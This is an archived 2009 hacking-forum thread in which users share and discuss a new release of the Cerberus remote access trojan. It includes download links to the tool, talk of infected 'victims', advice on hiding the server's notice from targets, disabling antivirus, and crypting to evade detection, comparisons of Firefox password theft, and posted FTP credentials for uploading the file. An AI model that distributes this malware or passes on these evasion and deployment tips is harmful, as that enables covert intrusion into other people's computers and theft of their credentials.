Thread: [Cerberus RAT NEW Version 1.03.4 Beta.](#)

skunkmonster - September 15, 2009, 3:41 am

Fixed Blank Update Pop-up
Changed Pop-up, Icon, Info Screen
Improved Connection Stability
Improved Updated Function
Improved Download & Execute Function
A few other minor code fix's

And since many have asked, YOU SHOULD ALWAYS UPDATE SERVER TO THE LATEST VERSION. If server and client are not both on the latest version you will not receive support because your product will not be up to date.

The above was copied and pasted from HH.

Uploaded new version to RS:

<http://rs162.#.com/files/280347855/Cerberus.rar>

If you don't want to download from there then the link to HH forum post is here:

<http://hackhound.org/forum/index.php?topic=24139.msg146313#new>

nikity6661 - September 15, 2009, 3:51 am

Paste a picture of the program

SANK - September 15, 2009, 3:56 am

Okay here is the scan:

swiners - September 15, 2009, 4:00 am

@SANK

Well it is a RAT, so it will obviously come up as infected for AVs because it does produce infections, if you get me

and cheers for the update

Well it is a RAT so what would you expect??

If people don't trust my upload then just get it from HH forum but i think you will have to register.

Graffiti Exploit - September 15, 2009, 4:04 am

You're your RS download is bigger than the actual one at HH....suspicious

iDecrypt - September 15, 2009, 4:06 am

oooooooooh fishy i'm scared to download after that recent comment

frozen - September 15, 2009, 4:11 am

That looks like a virustotal scan. Don't scan programs at virustotal/jotti that you plan on using.

skunkmonster - September 15, 2009, 4:17 am

I opened it to check then used winrar to rar back up, different compression gives different file size.

Graffiti Exploit - September 15, 2009, 4:23 am

Ok you told the truth. After I downloaded from RS the file size became the original size at HH.

Seems that RS reports the wrong file size. Download is Legit.

Sandboxed it, Its Clean.

skunkmonster - September 15, 2009, 8:18 am

(Sep 15, 2009 04:23 AM)Graffiti Exploit Wrote: [\[CITE\]](#) Ok you told the truth. After I downloaded from

RS the file size became the original size at HH. Seems that RS reports the wrong file size.
Download is Legit.

Sandboxed it, Its Clean.I am honest and thanks for clearing that up.

n00bz0r - September 15, 2009, 8:49 am

This update is much better than the previous one.. Already tested many things! 2sly is great :P

Evolution - September 15, 2009, 9:42 am

going to download thanks hope its much more stable i lost alot of connections on old version

Gosu - September 15, 2009, 9:47 am

i still like my rat more:(

n00bz0r - September 15, 2009, 1:16 pm

(Sep 15, 2009 09:42 AM)Evolution Wrote: [\[CITE\]](#) going to download thanks hope its much more stable i lost alot of connections on old version

it is waaaaaaaaaaaaay more stable and they connect instantly! I love this rat :P

If anyone needs help, PM me and i will try to help!

.Twilight. - September 15, 2009, 1:18 pm

Great rat

but medusa and Id are still my favorites

adjara2 - September 15, 2009, 1:50 pm

thx for rat,im not so good how to use this rat and if is here somebody to help how to set up this rat pls,thx again for the rat.

Hobbes - September 15, 2009, 4:06 pm

They also fixed the 127.0.0.1 loop glitch.

Jboomerz - September 15, 2009, 7:34 pm

i like this rat and all but its just not stable in my opinion i just lost my first victim already ?

JohnDoeSpirit - September 15, 2009, 7:41 pm

Is there any way to get rid of the message box that tells them a RAT is running on their PC when they run it?

Evolution - September 15, 2009, 8:00 pm

Yes you untick "run server in visible mode"

skunkmonster - September 18, 2009, 9:10 am

Servers connect much quicker and seems to be more stable on that front but I have had a few crashes using it so can't be used as my main RAT for now. Is getting better though so worth keeping a close eye on.

Evolution - September 18, 2009, 10:51 am

update is good seems more stable i agree connections are more stable

Apple - September 19, 2009, 7:40 am

Best fucking RAT ever. First one I've ever used, good work dude.

Have We Met Yet? - September 19, 2009, 5:34 pm

is this noob friendly
Also how do i open it btw

Evolution - September 19, 2009, 10:42 pm

Yes i would say this was noob friendly and you just double click the file in zip .. make sure have AV turned off when downloading and running as it will automatically delete

3 X P L O I T - September 23, 2009, 5:23 am

dont download from him. :) its backdoored by him. :)
go to HH (hackhound.org) and download it there. ?

skunkmonster - September 23, 2009, 7:54 am

(Sep 23, 2009 05:23 AM)3 X P L O I T Wrote: [\[CITE\]](#) dont download from him. :) its backdoored by him. :)
go to HH (hackhound.org) and download it there. ?This is new version and HH make Cerberus not this ?

\$up - September 23, 2009, 1:06 pm

It seems legit, doesn't seem within the virus scan that there is anything binded with this.

It looks good, nice work.

kprof - September 24, 2009, 7:01 am

(Sep 23, 2009 07:54 AM)skunkmonster Wrote: [\[CITE\]](#) This is new version and HH make Cerberus not this ?isnt this Cerberus release ? and same is in HH....

Internet - September 24, 2009, 8:25 am

How is the new beta release? Any bugs found yet? I know the last version was unstable as ever =/

n00bz0r - September 24, 2009, 11:16 am

(Sep 24, 2009 08:25 AM)WhatsTheFourOneOne Wrote: [\[CITE\]](#) How is the new beta release? Any bugs found yet? I know the last version was unstable as ever =/
This version is much more stable, but still needs improvement!

k1mpman - September 28, 2009, 7:42 am

I don't know about you but my server.exe is not detected by any anti virus at NoVirusThanks.org.

That was wierd as hell.. Is it possible to Cerberus to run a crypt while making the server?^o)

Well it's great toh xD

Frag_Bag - October 17, 2009, 8:49 am

Is it just me or is hackhound down?

neverlover - October 17, 2009, 8:07 pm

it made by skunkmonster

go to HH (hackhound.org) and download it there. ?

Where is the proof m8??

Mongoose - November 26, 2009, 2:50 am

im not sure if i should download? anyone know whether this has anything wrong with it?

BaNNED - November 26, 2009, 3:16 am

(Nov 25, 2009 08:30 PM)hackjack Wrote: [\[CITE\]](#) Yes it recovers ff3.5 passwords

greetz

I've tested SpyNet , Cerberus both on myself . But SpyNet recover FF 3.5 Passwords , Cerberus not . Any suggestion ?

Infobesity - November 26, 2009, 11:48 am

Latest spynet is 2.7 beta which is private public is 2.6 am i right?

Cerberus recovers ff3.5 passwords. I use both in same time with many victims.

BaNNED - November 27, 2009, 4:26 pm

Not works for Firefox 3.5.5 . I sure .

ramsesh - November 27, 2009, 4:38 pm

not work with FF 3.5. will be there a new version of cerberus ?

fROMOHIO - November 28, 2009, 2:21 am

Can anyone on here go to

Options>>Extras>>Update NO-IP and take a screenshot for me? Thanks!

SIM-82498 - November 28, 2009, 7:29 am

Paying someone to setup Cerebus for me!

mess1ah - November 28, 2009, 9:33 am

I think spy-net v2.6 went private. On their blog they say that they will no longer make public ones.

VirusBuster 4.6.5.0 2009.09.14 Worm.Fujack.GZ

This is obviously backdoored. (as you can see)

I wouldn't suggest running this program on your pc. (sandboxie ftw?)

Ever heard of anti sandboxie? Or exploit that will run it on your real OS?

Or that by running spyware on any virtual PC will run it actually on your real OS.... Sheesh you really are a newb Sandboxie and virtual PCs aren't made so you can defend against viruses or test if something is backdoored or no....

mess1ah - November 28, 2009, 11:58 am

Downloading now hope it lives up to its hype

Opaque - November 29, 2009, 12:49 pm

All I'm getting is

Quote: This file can only be downloaded by becoming a Premium member

There are no more download slots available for free users right now. If you don't want to become a premium member, you might want to try again later.

Someone stick on their website..., or ftp it to

Code # FTP Username: hf@acco.me

Password: hackforums

FTP Server: ftp.acco.me

FTP Server Port: 21

Quota: 100 MB Just made a quick ftp for you guys to dump it please....

Chris

fanchanwu - June 15, 2010, 11:52 am

Does it work 4 win 7? I try and work step by step but the file didn't come out right
